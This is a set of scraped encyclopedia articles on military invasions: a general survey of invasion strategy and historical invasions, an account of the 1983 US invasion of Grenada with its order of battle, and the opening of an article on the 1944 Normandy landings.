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          Invasion by air is an invention of the 20th century and modern warfare. The idea involves sending military units into a territory by aircraft. The aircraft either land, allowing the military units to debark and attempt their objective, or the troops exit the aircraft while still in the air, using parachutes or similar devices to land in the territory being invaded. Many times air assaults have been used to pave the way for a ground- or sea-based invasion, by taking key positions deep behind enemy lines such as bridges and crossroads, but an entirely air-based invasion has never succeeded. Two immediate problems are resupply and reinforcement. A large airborne force cannot be adequately supplied without meeting up with ground forces; an airborne force too small simply places themselves into an immediate envelopment situation. Arguments in favour of this method generally relate to the ability to target specific areas that may not necessarily be easily accessible by land or sea, a greater chance of surprising the enemy and overwhelming defensive structures, and, in many cases, the need for a reduced number of forces due to the element of surprise. Arguments against this method typically involve capacity to perform such an invasionsuch as the sheer number of planes that would be needed to carry a sufficient number of troopsand the need for a high level of intelligence in order for the invasion to be successful.


          The closest examples to a true air invasion are the Battle of Crete, Operation Thursday (the Chindits second operation during the Burma Campaign) and Operation Market Garden. The latter was an assault on the German-occupied Netherlands conducted in September of 1944. Nearly 35,000 men were dropped by parachute and glider into enemy territory in an attempt to capture bridges from the Germans and make way for the Allies' advance. However, even with such a massive force taking the Germans completely by surprise, the assault was a tactical failure and after 9 days of fighting the Allies managed only to escape back to their own lines, having sustained over 18,000 casualties. In the 21st century, as vast improvements are made in anti-aircraft defenses, it seems that the air invasion is a strategy whose time may never come.


          


          Pacification
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          Once political boundaries and military lines have been breached, pacification of the region is the final, and arguably the most important, goal of the invading force. After the defeat of the regular military, or when one is lacking, continued opposition to an invasion often comes from civilian or paramilitary resistance movements. Complete pacification of an occupied country can be difficult, and usually impossible, but popular support is vital to the success of any invasion.


          Media propaganda such as leaflets, books, and radio broadcasts can be used to encourage resistance fighters to surrender and to dissuade others from joining their cause. Pacification, often referred to as "the winning of hearts and minds", reduces the desire for civilians to take up resistance. This may be accomplished through reeducation, allowing conquered citizens to participate in their government, or, especially in impoverished or besieged areas, simply by providing food, water, and shelter. Sometimes displays of military might are used; invading forces may assemble and parade through the streets of conquered towns, attempting to demonstrate the futility of any further fighting. These displays may also include public executions of enemy soldiers, resistance fighters, and other conspirators. Particularly in antiquity, the death or imprisonment of a popular leader was sometimes enough to bring about a quick surrender. However, this has often had the unintended effect of creating martyrs around which popular resistance can rally. An example of which was Sir William Wallace, who, centuries after his execution by the English, is still a symbol of Scottish nationalism.


          Many factors need to be taken into account when deciding which tactics to use during occupation; when the wrong decisions are made, it can lead to years (or even centuries) of continued resistance. The problems caused by continued resistance may be minimal if the conquered territory is only needed for a short-term tactical purpose, but can become extremely difficult if the intent is to colonize the area or hold the land indefinitely.


          


          Support


          


          Logistics


          Without a steady flow of supplies, an invading force will soon find itself retreating. Before his invasion of Greece, Xerxes I spent three years amassing supplies from all over Asia; Herodotus wrote that the Persian army was so large it "drank the rivers dry".


          In most invasions, even in modern times, many fresh supplies are gathered from the invaded territories themselves. Before the laws of war, invaders often relied heavily on the supplies they would win by conquering towns along the way. During the Second Punic War, for example, Hannibal diverted his army to conquer cities simply to gather supplies; his strategy in crossing the Alps necessitated traveling with as few provisions as possible, expecting the Roman stores to sustain them when they had breached the border. The scorched earth tactics used in Russia forced Napoleon to withdraw his forces due to lack of food and shelter. Today, the Law of land warfare forbids looting and the confiscation of private property, but local supplies, particularly perishables, are still purchased when possible for use by occupying forces, and airplanes often use parachutes to drop supplies to besieged forces. Even as rules become stricter, the necessities of war become more numerous; in addition to food, shelter, and ammunition, today's militaries require fuel, batteries, spare mechanical parts, electronic equipment, and many other things. In the United States, the Defense Logistics Agency employs over 22,000 civilians with the sole task of logistics support, and 30,000 soldiers graduate from the U.S. Army Logistics Management College each year.


          


          Communication
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          Another consideration is the importance of leadership being able to communicate with the invasion force. In ancient times, this often meant that a king needed to lead his armies in person to be certain his commands were followed, as in the case of Alexander the Great. At that time, the skills needed to lead troops in battle were as important as the skills needed to run a country during peacetime. When it was necessary for the king to be elsewhere, messengers would relay updates back to the rear, often on horseback or, in cases such as the Battle of Marathon, with swift runners.


          When possible, sloops and cutters were used to relay information by sea. The HMS Pickle brought Britain the first news that Nelson had defeated the French forces at the Battle of Trafalgar.


          The development of Morse Code, and later voice communications by radio and satellite, have allowed even small units of skirmishers to remain in contact with the larger invasion force, to verify orders or call for artillery support and air strikes. These communications were critical to the German blitzkrieg strategy, as infantry commanders relayed defensive positions to tanks and bombers.


          


          Applications regarding non-state combatants


          In the 20th and 21st centuries, questions arose regarding the effectiveness of the invasion strategy in neutralizing non-state combatants, a type of warfare sometimes referred to as " fourth generation warfare". In this case, one or more combatant groups are controlled not by a centralized state government but by independent leadership, and these groups may be made up of civilians, foreign agents, mercenaries, politicians, religious leaders, and members of the regular military. These groups act in smaller numbers, are not confined by borders, and do not necessarily depend on the direct support of the state. Groups such as these are not easily defeated by straightforward invasion, or even constant occupation; the country's regular army may be defeated, the government may be replaced, but asymmetric warfare on the part of these groups can be continued indefinitely. Because regular armed forces units do not have the flexibility and independence of small covert cells, many believe that the concept of a powerful occupying force actually creates a disadvantage.


          An opposing theory holds that, in response to extremist ideology and unjust governments, an invasion can change the government and reeducate the people, making prolonged resistance unlikely and averting future violence. This theory acknowledges that these changes may take timegenerations, in some casesbut holds that immediate benefits may still be won by reducing membership in, and choking the supply lines of, these covert cells. Proponents of the invasion strategy in such conflicts maintain the belief that a strong occupying force can still succeed in its goals on a tactical level, building upon numerous small victories, similar to a war of attrition.


          Contemporary debate on this issue is still fresh; neither side can claim to know for certain which strategies will ultimately be effective in defeating non-state combatants. Opponents of the invasion strategy point to a lack of examples in which occupying or peacekeeping forces have met with conclusive success. They also cite continuing conflicts such as Northern Ireland, Israel, Chechnya, and Iraq, as well as examples which they claim ultimately proved to be failures, such as Lebanon, and Afghanistan. Supporters of the invasion strategy hold that it is too soon to call those situations failures, and that patience is needed to see the plan through. Some say that the invasions themselves have, in fact, been successful, but that political opponents and the international media skew the facts for sensationalism or political gain.


          


          Outcomes


          The outcomes of an invasion may vary according to the objectives of both invaders and defenders, the success of the invasion and the defense, and the presence or absence of an agreed settlement between the warring parties. The most common outcome is the loss of territory, generally accompanied by a change in government and often the loss of direct control of that government by the losing faction. This sometimes results in the transformation of that country into a client state, often accompanied by requirements to pay reparations or tribute to the victor. In other cases the results of a successful invasion may simply be a return to the status quo; this can be seen in wars of attrition, when the destruction of personnel and supplies is the main strategic objective, or where a nation previously subdued and currently occupied by an aggressive third party is restored to control of its own affairs (i.e. Western Europe following the Normandy landings in 1944, or Kuwait following the defeat of Iraq in 1991). In some cases, the invasion may be strategically limited to a geographical area, which is carved into a separate state as with the Bangladesh Liberation War in 1971.


          


          Record-setting invasions


          Many records for invasions were set during World War II, at the peak of second and third generation warfare. The vast numbers of the armies involved combined with innovative tactics and technology lent themselves to invasions on a scale that had not been seen before.


          The largest land invasion in history was 1941's Operation Barbarossa, in which 4,000,000 German troops blitzkrieged into the Soviet Union. Initially the Germans advanced with great ease and nearly captured Moscow, also laying siege to Leningrad, but soon found themselves fighting the harsh Russian winter as well as stiffer Soviet resistance, and their advance ground to a halt at Stalingrad in early 1943.


          In the largest amphibious invasion in history, 156,215 Allied troops landed at Normandy to retake France from the occupying German forces. Though it was costly in terms of men and materials, the invasion advanced the Western Front and forced Germany to redirect its forces from the Russian and Italian fronts. In hindsight, the operation is also credited with defining the Western boundary of Soviet communism; had the Allies not advanced, it is conceivable that the Soviet Union would have controlled more of Europe than it eventually did.


          


          Other examples of historically significant invasions


          


          Assyrian invasion of the Kingdom of Israel


          Sargon II, during the course of conquering much of what is now known as the Middle East, defeated the Kingdom of Israel in 722 BC and sent its inhabitants into exile. This presaged future Greek and Roman conquest and, later, the Crusades. To this day, the region remains contested.


          


          Persian invasion of Greece


          In 480 BC, Xerxes I of Persia moved his armies against the loose confederation of city-states in what is modern-day Greece. One of the most famous battles of the war, fought at Thermopylae, is an early example of using a chokepoint to tactical advantage. Although Xerxes' army was vastmodern estimates put it at 250,000the defending Greeks were able to hold their ground for days by using a narrow mountain pass to slow the Persian advance. The invasion also demonstrates the importance of communication and supply routes; although Xerxes' land battles were almost all Persian victories, the Greeks managed to cut off his naval support and the Persians were forced to withdraw. The invasion served to unify the various city-states, bringing about the formation of the Greek nation.


          


          Macedonian conquest of the Persian Empire


          In 323 BC, Alexander the Great led his army into Persia, defeating Darius III, conquering Babylon, and taking control of the Persian Empire. Alexander's influence in mixing cultures led to the Hellenistic Age of Mesopotamia and North Africa.


          


          Roman invasion of Britain


          The main invasion force under Aulus Plautius sailed in three divisions, and is generally believed to have landed at Richborough in Kent, although parts may have landed elsewhere (see Site of the Claudian invasion of Britain). The army was composed of four legions. The Britons, led by Togodumnus and Caratacus of the Catuvellauni, were reluctant to fight a pitched battle, relying on instead on guerrilla tactics. However, Plautius defeated first Caratacus, then Togodumnus, on the rivers Medway and Thames. Vespasian took a force westwards subduing tribes and capturing oppida as he went, going at least as far as Exeter and probably reaching Bodmin. Roman province was established in the conquered territory and Plautius became governor of the new province.


          


          The Arab conquests


          Following the Islamic prophet Muhammad's unification of the Arabian peninsula in 632, his successors, the Caliphs began a series of invasions of the Middle East, North Africa, Southern Europe, and South Asia. Lasting slightly more than a century, these conquests brought much of the ancient world under Arab rule.


          


          Viking invasions


          In 793 a Viking raid on Christian monastery at Lindisfarne in north-east England caused much consternation throughout the Christian west, and is now often taken as the beginning of the age of Viking raids. Vikings were Scandinavian warriors, pirates and traders who raided the coasts of Britain, Ireland and mainland Europe as far as Al-Andalus and Italy from the late 8th11th century. They also plundered all the coasts of the Baltic Sea, ascending the rivers of Eastern Europe as far as the Black Sea and Persia.


          


          Magyar invasions of Europe


          Magyars were Finno-Ugric nomads of western Siberia. Around 896, probably under the leadership of rpd, some Magyars crossed the Carpathians and entered the Carpathian Basin. After 900, almost every year Magyars led a raid against the Christian West. In 907, the Magyars defeated Bavarians near Bratislava, destroying their army and laying Great Moravia, Germany, France and Italy open to Magyar raids. These raids were fast and devastating. The Magyars defeated Louis the Child's Imperial Army near Augsburg in 910. From 917-925, Magyars raided through Basle, Alsace, Burgundy, Saxony, and Provence. In 937, they raided France as far west as Reims and Italy as far as Otranto in the south. Magyar expansion was checked at the Battle of Lechfeld in 955. Although battle at Lechfeld stopped the Magyar raids against western Europe, the raids on the Byzantine Empire continued until 970.


          


          The Norman invasion of England


          The 1066 invasion of England by William the Conqueror, and the decisive battle which won the war, the Battle of Hastings, were to have profound effects on the historical and societal development of Britain, and the English language.


          


          The Crusades


          In a series of nine different major invasions from 1095 to 1291, the Catholic Church and various European states attempted to conquer the Holy Land for Christendom from its Muslim rulers, with varied success until the fall of Acre in 1291. As Jerusalem changed hands and European forces moved back and forth, in-roads to the Levant were reestablished and the cultures mixed on a large scale for the first time in centuries.


          


          Genghis Khan's invasions of China


          From 1206 until his death in 1227, Genghis Khan orchestrated a series of invasions that united much of Asia. Relying heavily on cavalry, the Mongol hordes were able to travel quickly yet were well-supplied. By 1368, the Mongol Empire was the largest contiguous empire in history, composed of 35 million km (13.8 million miles) of territory stretched across the continent. His eastward invasion of China created the Yuan Dynasty, and his westward invasion of Kievan Rus' further linked Europe and Asia by reestablishing the Silk Road. Before the Mongol invasion, Chinese dynasties reportedly had approximately 120 million inhabitants; after the conquest was completed in 1279, the 1300 census reported roughly 60 million people.


          


          Mongol invasion of Europe


          The 13th century, when the Mongol Empire came to power, is often called the "Age of the Mongols". Mongol armies expanded westward under the command of Batu Khan. Their western conquests included almost all of Russia (save Novgorod, which became a vassal), Hungary, and Poland. Mongolian records indicate that Batu Khan was planning a complete conquest of the remaining European powers, beginning with a winter attack on Austria, Italy and Germany, when he was recalled to Mongolia upon the death of Great Khan gedei. Most historians believe only his death prevented the complete conquest of Europe.


          


          Timur invasion of India


          During the late 14th century, Islamic warlord of Turco-Mongol descent Timur the Lame conquered much of western and central Asia. In 1398, Timur invaded India on the pretext that the Muslim sultans of Delhi were too much tolerant to their Hindu subjects. He subjugated Multan and Dipalpur in modern day Pakistan and in modern day India left Delhi in such ruin that it is said for two months "not a bird moved wing in the city".


          


          Spanish Conquest of the Aztec Empire


          The last of the Aztec empire was destroyed at Tenochtitlan in 1521, by a combination of Spanish and native forces. Aided by at least 20,000 local Tlaxcalan warriors, Hernn Corts marched into the city. Although he and his men were expelled, they returned with ships and laid siege to the capital. Though an epidemic of smallpox took its toll on the Aztecs, Cortes' conquest was the culmination of Spanish strategy in the Americas: He used promises to gain native allies, and he combined superior technology with patience while he struck at Tenochtitlan from the sea. This opened the door to Spanish colonization of mainland Mesoamerican cultures.


          


          Japanese invasions of Korea


          During the Japanese invasions of Korea (1592-1598), the Japanese warlord Toyotomi Hideyoshi, with the ambition of conquering Ming China, invaded Korea with his daimyō and their troops in 1592 and again in 1597. Japanese prevailed on land but at sea they were defeated by Korean admiral Yi Sun-sin.


          


          Manchu invasion of China


          The fall of the Ming Dynasty was a protracted affair, its roots beginning as early as 1600 with the emergence of the Manchu under Nurhaci. Under the brilliant commander, Yuan Chonghuan, the Ming was able to repeatedly fight off the Manchus, notably in 1626 at Ning-yuan and in 1628. On May 26, 1644, Beijing fell to a rebel army led by Li Zicheng. Seizing their chance, the Manchus crossed the Great Wall after Ming border general Wu Sangui opened the gates at Shanhai Pass, and quickly overthrew Li's short-lived Shun Dynasty. Despite the loss of Beijing and the death of the emperor, Ming power was by no means destroyed. Nanjing, Fujian, Guangdong, Shanxi, and Yunnan were all strongholds of Ming resistance. Each bastion of resistance was individually defeated by the Qing until 1662, when the last real hopes of a Ming revival died with the Yongli emperor, Zhu Youlang. Complete pacification of China would not be complete until 1683. Overall, an estimated 25 million people died during the Manchu conquest of Ming Dynasty.


          


          Ottoman invasions of Europe


          The Ottoman wars in Europe, also sometimes referred as the Turkish wars, marked an essential part of the history of southeastern Europe. The Ottoman Empire, leading Islamic state at that time, started its westward expansion into the European continent in the middle of the 14th century and was at the centre of interactions between the Eastern and Western worlds for next six centuries.


          


          French invasion of Russia


          In 1812, Napoleon led his Grande Arme into Russia. At that point, his invasion force of 691,500 men was the largest ever assembled, and for several weeks the Russian Army could do nothing but retreat and try to buy time. The first major battle between the two armies, at the Russian defenses of Borodino, was one of the bloodiest single days in human history, with estimates of at least 65,000 dead. But although the Russian retreat allowed the French to capture Moscow, they were left depleted and without shelter or supplies. Napoleon was forced to withdraw. Although this invasion was not the end of Napoleon, it is credited with fostering a powerful patriotism in Russia that would lead to the strengthening of the nation in the 19th and 20th centuries.


          


          European colonialism and imperialism


          In the late 15th century, the Christian nations of Western Europe began the modern age of colonialism with the "Age of Discovery", led by the Spanish colonization of the Americas and Portuguese Empire in the Americas and along the coasts of Africa, the Middle East, India, and East Asia. The Roman Catholic Church played a role in their overseas activities, and the enormous trade profits and riches from gold and silver mines allowed them to finance costly religious wars in Europe. During the 16th and 17th centuries, Britain, France and Holland established their own overseas empires in direct competition with each other as well as the earlier Iberian ones, while the land-based Russian Empire expanded across northern and Central Asia. These activities resulted in the invasions of the Indian subcontinent to set up the extensive European colonies in India, as well as the invasion of Africa called the Scramble for Africa and the colonization of the East Indies. In the late 19th century, the Germans and Italians also joined in, beginning the third wave of invasions that would subdue native peoples and economies, and expand European-controlled territory over the majority of the globe.


          Decolonization began in the 19th century and picked up pace only after World War II left the European empires weakened and struggling to subdue the native resistance across the vast expanses of their empires. Debates upon the negative vs. positive impact and evaluation of colonialism and colonizationsuch as those of colonial Christianization, genocide, third world debt, slavery, abolition of slavery, infrastructures and medical advances upon the colonizer and the colonized continue to shape global and national politics to this day.


          


          Nazi invasion of the Soviet Union


          The Eastern Front of the European Theatre of World War II encompassed the conflict in central and eastern Europe from June 22, 1941 to May 9, 1945. It was the largest theatre of war in history in terms of numbers of soldiers, equipment and casualties and was notorious for its unprecedented ferocity, destruction, and immense loss of life. The fighting involved millions of German and Soviet troops along a broad front hundreds of kilometres long. It was by far the deadliest single theatre of World War II. Scholars now believe that as many as 27 million Soviet citizens died during the war, including some 8.7 million soldiers who fell in battle against Hitler's armies or died in POW camps. Millions of civilians died from starvation, exposure, atrocities, and massacres.


          


          Soviet imperialism


          The USSR, which had grafted onto the Russian Soviet Federative Socialist Republic several countries that had had short-lived independence (Ukraine, Georgia, Armenia, Azerbaijan, and the lands of Central Asia), never reconciled itself to having lost West Ukraine, West Belarus, Bessarabia, and the three Baltic states (territories which formerly belonged to the Russian Empire) in the course of 1919-21. Thus they aimed to annex these territories as well as to obtain a buffer zone from Finland in 1939-40 (see Soviet-Finnish War). After the Soviet invasion of Poland following the corresponding German invasion that marked the start of World War II in 1939, the Soviet Union annexed eastern parts (so-called " Kresy") of the Second Polish Republic (see Molotov-Ribbentrop Pact). In 1940 the Soviet Union annexed Estonia, Latvia, Lithuania, Bessarabia and Bukovina (see Occupation of Baltic states).


          During the Cold War, the term Eastern Bloc (or Soviet Bloc) was used to refer to the Soviet Union and countries it controlled in Central and Eastern Europe (Bulgaria, Czechoslovakia, East Germany, Hungary, Poland, Romania). Hungary was invaded by the Soviet Army in 1956 after it had overthrown its pro-Soviet government and replaced it with one that sought a more democratic communist path independent of Moscow; when Polish communist leaders tried to elect Władysław Gomułka as First Secretary they were issued an ultimatum by Soviet military that occupied Poland ordering them to withdraw election of Gomulka for the First Secretary or be "crushed by Soviet tanks". Czechoslovakia was invaded in 1968 after a period of liberalization known as the Prague Spring. The latter invasion was codified in formal Soviet policy as the Brezhnev Doctrine. In 1979 the Soviet Union invaded Afghanistan to ensure that a pro-Soviet regime would be in power in the country (see Soviet war in Afghanistan).
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              	7,300

              	Grenada: 1,500 regulars

              Cuba: about 722 (mostly military engineers)
            


            
              	Casualties and losses
            


            
              	19 killed; 116 wounded

              	Grenada: 45 military and at least 24 civilian deaths; 358 wounded.

              Cuba: 24 killed, 59 wounded, 638 taken prisoner.
            

          


          The Invasion of Grenada, codenamed Operation Urgent Fury, was an invasion of the island nation of Grenada by the United States of America and several other nations in response to an internal power struggle which ended with the deposition and execution of Grenadan Prime Minister Maurice Bishop. On October 25, 1983, the United States, Barbados, Jamaica and members of the Organization of Eastern Caribbean States landed ships on Grenada, defeated Grenadian and Cuban resistance and overthrew the military government of Hudson Austin.


          The invasion was highly criticised by the United Kingdom, Trinidad and Tobago, Canada and the United Nations General Assembly, which condemned it as "a flagrant violation of international law". Conversely, it was reported to have enjoyed broad public support in the United States as well as in segments of the population in Grenada. October 25 is a national holiday in Grenada, called Thanksgiving Day, to commemorate this event. Approximately 100 people lost their lives.


          


          Background


          Sir Eric Gairy had led Grenada to independence from the United Kingdom in 1974. His term in office coincided with civil strife in Grenada. The political environment was highly charged and although Gairy - head of the Grenada United Labour Party (GULP) - claimed victory in the general election of 1976, the opposition did not accept the result as legitimate. The civil strife took the form of street violence between government supporters and gangs organised by the New Jewel Movement. In the late 1970s, the NJM began planning to overthrow the government. Party members began to receive military training outside of Grenada. On March 13, 1979 while Gairy was out of the country, the NJM - led by Maurice Bishop - launched an armed revolution and overthrew the government. Bishop then suspended the constitution and the New Jewel Movement ruled the country by decree until 1983. All other political parties were banned and no elections were to be held. Internationally, the government quickly aligned itself with Cuba and other communist governments.


          The government also began constructing an international airport with the help of Canada, Mexico and other nations. In March 1983 U.S. President Ronald Reagan called this runway evidence of "Soviet-Cuban militarization" and a potential threat to the United States. Pointing to the 9,000-foot (2,700m) runway and the oil storage tanks, he asserted that these were unnecessary for commercial flights, and could only mean that the airport was to become a Cuban-Soviet airbase.
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          The airport had been first proposed by the British government in 1954, when Grenada was still a colony. It had been designed by Canadians, underwritten by the British government, and partly built by a London firm. The U.S. government accused Grenada of constructing facilities to aid a Soviet-Cuban military build-up in the Caribbean, and to assist Soviet and Cuban transports in transporting weapons to Central American insurgents. Bishops government claimed that the airport was built to accommodate commercial aircraft carrying tourists, pointing out that such jets could not land at the existing airport on the islands north. Neither could the existing airport, itself, be expanded as its runway abutted a mountain. On October 13, 1983, a party faction led by Deputy Prime Minister Bernard Coard seized power illegally. Bishop was placed under house arrest. Mass protests against the action led to Bishop escaping detention and reasserting his authority as the head of the government. Bishop was eventually captured and murdered along with several government officials loyal to him. The army under Hudson Austin then stepped in and formed a military council to rule the country. The Governor-General of Grenada, Paul Scoon, was placed under house arrest. The army announced a four-day total curfew where anyone seen on the streets would be subject to summary execution.
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          The Organisation of Eastern Caribbean States (OECS) appealed to the United States, Barbados, and Jamaica for assistance. According to Mythu Sivapalan of the New York Times ( October 29, 1983), this formal appeal was at the behest of the U.S. government, which had decided to take military action. U.S. officials cited the murder of Bishop and general political instability in a country near its own borders, as well as the presence of American medical students at St. George's University on Grenada, as reasons for military action. Sivapalan also claimed that the latter reason was cited in order to gain public support.


          In March 1983, President Reagan began issuing warnings about the threat posed to the United States by the "Soviet-Cuban militarization" as evidenced by the runway being built.


          As the U.S. invaded, Cuba released a series of official documents to the press. According to these documents, when the murder of Maurice Bishop was reported on October 20, the government of Cuba declared that it was "deeply embittered" by the murder and rendered "deep tribute" to the assassinated leader. The same official statement reported instructions to Cubans in Grenada that "they should abstain absolutely from any involvement in the internal affairs of the Party and of Grenada," while attempting to maintain the "technical and economic collaboration that could affect essential services and vital economic assistance for the Grenadian people."


          On October 22, 1983, Castro sent a message to Cuban representatives in Grenada, stressing that they should take no action in the event of a U.S. invasion unless they are "directly attacked." If U.S. forces "land on the runway section [of the airport that Cubans were constructing with British assistance] near the university or on its surroundings to evacuate their citizens," Cubans were ordered "to fully refrain from interfering." The military rulers of Grenada were informed that "sending reinforcements is impossible and unthinkable" because of the actions in Grenada that Cuba and the Grenadan people deplore, and Cuba urged them to provide "total guarantees and facilities for the security and evacuation of U.S., English and other nationals." The message was repeated on October 23, stating that reinforcement would be politically wrong and "morally impossible before our people and the world" after the Bishop assassination. On October 24, Cuba again informed the Grenadan regime that Cubans would only defend themselves if attacked, and advised that the airport runway be cleared of military personnel.


          On October 26, Alma Guillermoprieto reported in The Washington Post that at a "post-midnight news conference" with "almost 100 foreign and local journalists," Castro "released texts of what he said were diplomatic communications among Cuba, Grenada and the United States," giving the essential facts. U.S. sources "confirmed the exchange of messages," she added, but said they could not respond to Cuba at once because the telephone lines of the U.S. interest section in Havana were down from the evening of October 23 to late at night on October 24.


          White House spokesman, Larry Speakes, said that "the U.S. disregarded Cuban and Grenadan assurances that U.S. citizens in Grenada would be safe because, 'it was a floating craps game and we didn't know who was in charge'." The same issue was reported by Alan Berger in The Boston Globe on the same day.


          


          The invasion
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          The invasion, which commenced at 05:00 on October 25, was the first major operation conducted by the U.S. military since the Vietnam War. Fighting continued for several days and the total number of American troops reached some 7,000 along with 300 troops from the OECS. The invading forces encountered about 1,500 Grenadian soldiers and about 700 Cubans, most of whom were construction workers but were highly trained as soldiers. Also present were 60 advisors from the Soviet Union, North Korea, East Germany, Bulgaria, and Libya.


          Official U.S. sources state that the defenders were well-prepared, well-positioned and put up stubborn resistance, to the extent that the U.S. called in two battalions of reinforcements on the evening of October 26. However, the total naval and air superiority of the invading forces  including helicopter gunships and naval gunfire support  proved to be significant advantages.


          The Stealth Fighter, the F-117 Nighthawk, has been long rumored to have been first used by the United States Air Force in Granada, although the United States government has never formally acknowledged that the Stealth Fighter was actually used.


          According to the F-117A Nighthawk fact sheet, (USAF, October 2007), the F-117A's first flight was in 1981, and it achieved Initial Operational Capability status in October 1983. The F-117A was formally "acknowledged" to exist and was revealed to the world for the first time in November 1988.


          U.S. forces suffered 19 fatalities and 116 injuries. Grenada suffered 45 military and at least 24 civilian deaths, along with 358 soldiers wounded. Cuba had 24 killed in action, with 59 wounded and 638 taken prisoner.
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          Reaction in the United States


          A month after the invasion, Time magazine described it as having "broad popular support." A congressional study group concluded that the invasion had been justified, as most members felt that the students could be taken hostage as U.S. diplomats in Iran had been four years previously. The group's report caused House Speaker Tip O'Neill to change his position on the issue from opposition to support.


          However, some members of the study group dissented from its findings. Congressman Louis Stokes stated that "Not a single American child nor single American national was in any way placed in danger or placed in a hostage situation prior to the invasion." The Congressional Black Caucus denounced the invasion and seven Democratic congressmen, led by Ted Weiss, attempted to impeach Reagan. Although certainly planned for months, it was suggested at the time that the timing of the invasion two days after the 1983 Beirut barracks bombing could have been a way to distract the public from that disastrous event.


          


          International opposition and criticism


          By a vote of 108 in favour to 9 ( Antigua and Barbuda, Barbados, Dominica, El Salvador, Israel, Jamaica, Saint Lucia, Saint Vincent and the Grenadines and the United States) with 27 abstentions, the United Nations General Assembly adopted General Assembly resolution 38/7 which "deeply deplores the armed intervention in Grenada, which constitutes a flagrant violation of international law and of the independence, sovereignty and territorial integrity of that State". Grenada voted in favour of the resolution. The Government of China termed the United States intervention an outright act of hegemonism. The USSR Government observed that Grenada had for a long time been the object of United States threats, that the invasion violated international law, and that no small nation not to the liking of the United States would find itself safe if the aggression against Grenada was not rebuffed. The governments of some countries stated that the United States intervention was a return to the era of barbarism. The governments of other countries said the United States by its invasion had violated several treaties and conventions to which it was a party.


          A similar resolution was discussed in the United Nations Security Council and although receiving widespread support it was ultimately vetoed by the United States.


          Grenada was part of the Commonwealth of Nations and  following the invasion  it requested help from other Commonwealth members. The invasion was opposed by the United Kingdom, Trinidad & Tobago and Canada, among others. British Prime Minister Margaret Thatcher personally opposed the U.S. invasion, and her Foreign Secretary, Geoffrey Howe, announced to the House of Commons on the day before the invasion that he had no knowledge of any possible U.S. intervention. Ronald Reagan, President of the United States, assured her that an invasion was not contemplated. Reagan later said, "She was very adamant and continued to insist that we cancel our landings on Grenada. I couldn't tell her that it had already begun."


          After the invasion, Prime Minister Thatcher wrote to President Reagan:


          
            	This action will be seen as intervention by a Western country in the internal affairs of a small independent nation, however unattractive its regime. I ask you to consider this in the context of our wider East-West relations and of the fact that we will be having in the next few days to present to our Parliament and people the siting of Cruise missiles in this country...I cannot conceal that I am deeply disturbed by your latest communication.

          


          


          Aftermath
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          Following the U.S. victory, Grenada's Governor-General Paul Scoon announced the resumption of the constitution and appointed a new government. US Forces remained in Grenada after combat operations finished in December. Elements remaining included military police, special forces, and a specialized intelligence detachment.


          The invasion showed problems with the U.S. government's "information apparatus," which Time described as still being in "some disarray" three weeks after the invasion. For example, the U.S. State Department falsely claimed that a mass grave had been discovered that held 100 bodies of islanders who had been killed by Communist forces.


          Also of concern were the problems that the invasion showed with the military. There was a lack of intelligence about Grenada, which exacerbated the difficulties faced by the quickly assembled invasion force. For example, it was not known that the students were actually at two different campuses and there was a thirty-hour delay in rescuing students at the second campus. Maps provided to soldiers on the ground were rudimentary, did not show contour or relief, and were not marked with crucial positions. The landing strip was drawn in by hand. Analysis by the U.S. Department of Defense showed a need for improved communications and coordination between the different branches of the Armed Forces. Some of these recommendations resulted in the formation of the United States Special Operations Command in 1987 . A somewhat fictionalized account of the invasion is shown in the 1986 Clint Eastwood movie, Heartbreak Ridge.


          


          Order of battle


          


          U.S. and allied land forces
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            	U.S.

          


          
            	22nd Marine Amphibious Unit


            	82d Airborne Division: large contingent


            	21st Tactical Air Support Squadron Jump qualified FACs deployed with 82d Airborne


            	75th Ranger Regiment **


            	Navy SEALs: SEAL Team FIVE and SEAL Team SIX


            	Delta Force


            	160th SOAR (A) Night Stalkers

          


          ** The 75th Ranger Regiment had not been formed at the time of Operation Urgent Fury. Both existing Ranger battalions, 1st Battalion (Ranger), 75th Infantry and 2nd Battalion (Ranger), 75th Infantry, took part in the operation. A year later both units were incorporated into the newly formed 75th Ranger Regiment.


          



          


          U.S. naval forces


          Amphibious Squadron Four USS Guam, USS Barnstable County, USS Manitowoc, USS Fort Snelling, USS Trenton


          Independence Task Group USS Independence, USS Richmond K. Turner, USS Coontz, USS Caron, USS Moosbrugger, USS Clifton Sprague, USS Suribachi with the Invasion Tactical Planning conducted by Commander Timothy J. Coughlin and the Air Staff of the USS Independence


          In addition, the following ships supported naval operations: USS America, USS Aquila, USS Aubrey Fitch, USS Briscoe, USS Portsmouth, USS Recovery, USS Saipan, USS Sampson, USS Samuel Eliot Morison, USS Taurus (PHM-3) and U.S. Coast Guard Cutter Chase.


          Caribbean Peace Force (CPF)


          
            Retrieved from " http://en.wikipedia.org/wiki/Invasion_of_Grenada"
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                    Assault landing one of the first waves at Omaha Beach as photographed by Robert F. Sargent. The U.S. Coast Guard caption identifies the unit as Company E, 16th Infantry, 1st Infantry Division.
                  


                  
                    	
                      
                        
                          	Date

                          	June 6, 1944  mid-July 1944
                        


                        
                          	Location

                          	Normandy, France
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                          	Decisive Allied victory
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                    	Strength
                  


                  
                    	1,000,000 (by July 4)

                    	380,000 (by July 23)
                  


                  
                    	Casualties and losses
                  


                  
                    	D-Day:

                    United States: 1,465 dead, 5,138 wounded, missing or captured;

                    United Kingdom: 2,700 dead, wounded or captured;

                    Canada: 500 dead; 621 wounded or captured;

                    Total:10,264

                    	D-Day:

                    Nazi Germany: Between 4,000 and 9,000 dead, wounded or captured
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          The Invasion of Normandy was the invasion and establishment of Allied forces in Normandy, France during Operation Overlord in World War II. It covers from the initial landings on June 6, 1944 until the Allied breakout in mid-July.


          It was the largest seaborne invasion at the time, involving over 850,000 troops crossing the English Channel from the United Kingdom to Normandy by the end of June 1944.


          Allied land forces that saw combat in Normandy on June 6 came from Canada, Free French Forces, the United Kingdom, and the United States. In the weeks following the invasion, Polish forces also participated and there were also contingents from Belgium, Czechoslovakia, Greece, and the Netherlands. Most of the above countries also provided air and naval support, as did the Royal Australian Air Force, Royal New Zealand Air Force and the Royal Norwegian Navy.


          The Normandy invasion began with overnight parachute and glider landings, massive air attacks, naval bombardments, an early morning amphibious landing and during the evening the remaining elements of the parachute divisions landed. The "D-Day" forces deployed from bases along the south coast of England, the most important of these being Portsmouth.


          


          Allied preparations
